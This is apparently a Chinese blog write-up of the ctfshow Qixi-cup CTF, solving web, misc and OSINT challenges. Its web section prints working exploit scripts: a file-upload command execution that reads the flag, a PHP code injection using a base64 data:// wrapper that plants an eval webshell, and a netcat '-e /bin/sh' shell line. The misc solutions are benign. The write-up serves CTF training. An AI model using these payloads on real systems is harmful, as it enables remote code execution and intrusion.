ctfshow 七夕杯

WEB签到 easy_calceasy_cmdMISC签到lsb海盗的密码OSINT

WEB

签到

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
​
import requests
import time
​
url = "http://48bb5eb8-ca0e-4a11-8438-4a06cf2f1471.challenge.ctf.show/"
​
​
def getShell(payload):
    data={
    "cmd":payload
    }
    file = {
    "file":b"#!/bin/sh\ncat /f*>/var/www/html/1.txt"
    }
    response = requests.post(url=url+"api/tools.php",files=file,data=data)
    if "t*" in response.text:
        print("执行成功,检查回显...")
    response = requests.get(url=url+"1.txt")
    if response.status_code == 200:
        print("flag 获取成功 "+response.text)
    else:
        print("flag 获取失败")
​
​
def run():
    getShell(". /t*/*")
​
def main():
    run()
    
if __name__ == '__main__':
    main()

easy_calc

官方wp写的很清楚 Docs

从题目代码来看,是输入3个值,分别是num1、符号值、num2

然后过滤了一大堆符号,这种就是最直接的提示,没过滤哪个,就用哪个

然后把3个值拼接起来进行执行

既然是eval就是代码执行,但是又不能用括号,那么只能用不用括号的函数了,那么答案很显然 ,php中不需要括号使用的函数,叫做语言结构,常见的有include、require、echo

使用include来执行代码,那么显而易见,肯定要用到伪协议

我们只需要构造出一个data的伪协议看看

正常的伪协议包含是这样的

include "data://text/plain,<?php phpinfo();?>"

但是<和()不能使用,所以需要编码 使用data协议的第二种写法

include "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
​
import requests
url = "http://fc4f95dd-c44d-45ed-8557-c1a4fa9697e9.challenge.ctf.show/"
​
def getFlag():
        data={
            "num1":'include "data://text',
            "symbol":"/",
            "num2":'plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+";',
            "1":"system('cat /secret');"
        }
        response=requests.post(url=url,data=data)
        print(response.text)
​
if __name__ == '__main__':
        getFlag()
​

easy_cmd

nc ip 1337 -e /bin/sh

MISC

签到

 

lsb

看到颠倒了 ,用python倒回来

with open('zip','rb') as f:
    content=f.read()
with open('1.zip','wb') as w:
    w.write(content[::-1])
​

然后解压出来图片末尾有ctfshow 推测是密码

 

🌊☺🌪☂👣☃🚫🚹⏩🤣✅🎈☂👣⌨🌊😁🎤❓⌨🍎🎃😆🌊🌊🐎🎃👌☀🍎🍵🍵😀☀😂🍎❓☀🚰🔄👌🏎📂🔬🎤👑👑😇🗒🍴😁🚫🚫🌪😍⌨🐅💧🍴😇🏎😀🚨🚨

emoji-aes

key 为ctfshow 偏移量为2

 

海盗的密码

根据题目用ip地址做密码,百度索马里的ip地址爆破 索马里IP大全 索马里IP地址列表 索马里IP段下载 2022-08-15

一个个去尝试 其实也挺快的 主要是自己换掩码浪费时间

 

OSINT

直接百度搜图,点开各种链接 自己找

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值